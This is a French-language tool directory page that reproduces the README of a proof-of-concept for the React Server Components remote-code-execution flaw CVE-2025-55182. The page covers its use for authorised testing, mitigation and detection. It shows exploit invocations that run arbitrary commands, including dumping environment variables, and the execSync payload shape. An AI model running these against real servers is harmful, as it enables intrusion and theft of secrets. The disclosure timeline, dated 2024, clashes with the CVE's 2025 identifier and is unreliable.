Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
vulnerable-next-js-poc — PoC pour React2Shell (CVE-2025-55182) | Kitploit
Outils/GitHubGitHub/kondukto-io/vulnerable-next-js-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubkondukto-io/vulnerable-next-js-poc

vulnerable-next-js-poc

PoC pour React2Shell (CVE-2025-55182)

Voir le dépôt
51il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 (React2Shell) - Preuve de concept

⚠️ RECHERCHE EN SÉCURITÉ UNIQUEMENT

Ce dépôt contient une preuve de concept pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans React Server Components. Ceci est destiné uniquement à des tests de sécurité autorisés et à des fins de recherche.

Présentation de la vulnérabilité

  • ID CVE : CVE-2025-55182
  • Nom : React2Shell
  • Score CVSS : 10.0 (CRITIQUE)
  • Type : CWE-502 - Désérialisation de données non fiables
  • Vecteur d'attaque : Réseau (AV:N)
  • Authentification : Aucune requise (PR:N)
  • Statut : Exploitation active dans la nature

Versions concernées

React :

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

Next.js :

  • 15.0.0 à 15.0.4
  • 15.1.0 à 15.1.8
  • 15.2.0 à 15.2.5
  • 16.0.0 à 16.0.6

Détails techniques

La vulnérabilité exploite une désérialisation non sécurisée dans le protocole Flight de React Server Components. Lorsqu'un serveur reçoit une charge utile spécialement conçue, il ne parvient pas à valider correctement la structure avant la désérialisation, ce qui permet à des données contrôlées par l'attaquant de manipuler l'exécution côté serveur.

Mécanisme d'attaque

  1. Injection de faux Chunk : L'attaquant envoie une charge utile Flight avec un objet imitant la structure interne d'un Chunk
  2. Détournement du gestionnaire de promesse : L'objet factice inclut une méthode then personnalisée
  3. Manipulation d'état : La désérialisation de React tente de résoudre le faux Chunk, déclenchant le gestionnaire de l'attaquant
  4. Exécution de code : Du JavaScript arbitraire s'exécute sur le serveur via process.mainModule.require('child_process')

Configuration du POC

Prérequis

  • Node.js 18+
  • Python 3.x (pour le script d'exploitation)
  • npm ou yarn

Installation

  1. Installer les dépendances :
root@kitploit:~
npm install
  1. Démarrer le serveur vulnérable :
root@kitploit:~
npm run dev

Le serveur démarrera sur http://localhost:3000

Structure de l'application vulnérable

root@kitploit:~
app/
├── page.js              # Main page with ServerForm
├── ServerForm.js        # Client component with form
├── actions.js           # Vulnerable Server Action
└── layout.js            # Root layout

Exécution de l'exploit

Utilisation de base

root@kitploit:~
python3 exploit.py -t http://localhost:3000 -c "whoami"

Options

  • -t, --target : URL cible (requis)
  • -c, --command : Commande shell à exécuter (par défaut : id)
  • --check-only : Vérifier uniquement si la cible semble vulnérable

Exemples

Vérifier si la cible est vulnérable :

root@kitploit:~
python3 exploit.py -t http://localhost:3000 --check-only

Exécuter des commandes arbitraires :

root@kitploit:~
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"

# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"

Structure de la charge utile de l'exploit

L'exploit utilise des données de formulaire multipart avec :

root@kitploit:~
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)

La charge utile manipule l'objet interne _response pour exécuter :

root@kitploit:~
process.mainModule.require('child_process').execSync('<command>')

Mesures d'atténuation

Actions immédiates

  1. Mettre à jour React :

    root@kitploit:~
    npm install [email protected] [email protected]
    
  2. Mettre à jour Next.js :

    root@kitploit:~
    npm install [email protected]  # or latest patched version
    

Versions corrigées

  • React : ≥ 19.3.0
  • Next.js :
    • ≥ 15.0.5
    • ≥ 15.1.9
    • ≥ 15.2.6
    • ≥ 16.0.7

Détection

Indicateurs de compromission

  • Requêtes POST inattendues vers les points de terminaison RSC avec l'en-tête Next-Action
  • Charges utiles de données de formulaire multipart avec des références $@
  • Propriétés then suspectes dans les corps de requête
  • Anomalies d'exécution de processus côté serveur

Signatures réseau

root@kitploit:~
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@

Chronologie

  • 3 décembre 2024 : Divulgation publique
  • 5 décembre 2024 : Exploitation active observée
  • 26 décembre 2024 : Date limite de conformité CISA KEV

Références

  • Fiche officielle CVE
  • Entrée NVD
  • Catalogue CISA KEV
  • Avis de sécurité Wiz
  • Analyse technique OffSec

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.

NE PAS :

  • Utiliser cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester
  • Déployer ceci dans des environnements de production
  • Partager le code de l'exploit sans contexte ni avertissements appropriés

Licence

Licence MIT - Uniquement à des fins de recherche en sécurité

Télécharger l’outil